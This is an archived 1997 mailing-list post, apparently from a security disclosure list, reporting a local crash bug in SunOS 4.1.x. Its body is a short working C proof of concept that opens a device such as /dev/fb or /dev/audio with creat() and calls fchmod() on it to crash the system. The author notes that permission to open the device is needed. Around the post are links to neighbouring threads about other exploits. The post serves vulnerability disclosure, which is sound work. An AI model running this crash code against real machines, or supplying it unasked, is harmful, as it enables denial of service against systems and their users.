|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
SunOS 4.1.x crash
Roger Espel Llima (espel
LLAIC.UNIV-BPCLERMONT.FR)Tue, 27 May 1997 16:54:03 +0200
- Messages sorted by: [ date ][ thread ][ subject ][ author ]
- Next message: David Hedley: "xterm exploit as promised..."
- Previous message: David Hedley: "another day, another buffer overflow...."
- Next in thread: Doug Hughes: "Re: SunOS 4.1.x crash"
I found the following three-liner to crash SunOS 4.1.x. It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.
main(int argc, char *argv[]) {
int fd;
fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
if (fd < 0) perror("creat"), exit(1);
fchmod(fd, 0755); /* BOOM */
}
Roger
--
e-mail: espel
llaic.univ-bpclermont.fr, espel
unix.bigots.org
WWW page & PGP key: http://www.eleves.ens.fr:8080/home/espel/index.html
- Next message: David Hedley: "xterm exploit as promised..."
- Previous message: David Hedley: "another day, another buffer overflow...."
- Next in thread: Doug Hughes: "Re: SunOS 4.1.x crash"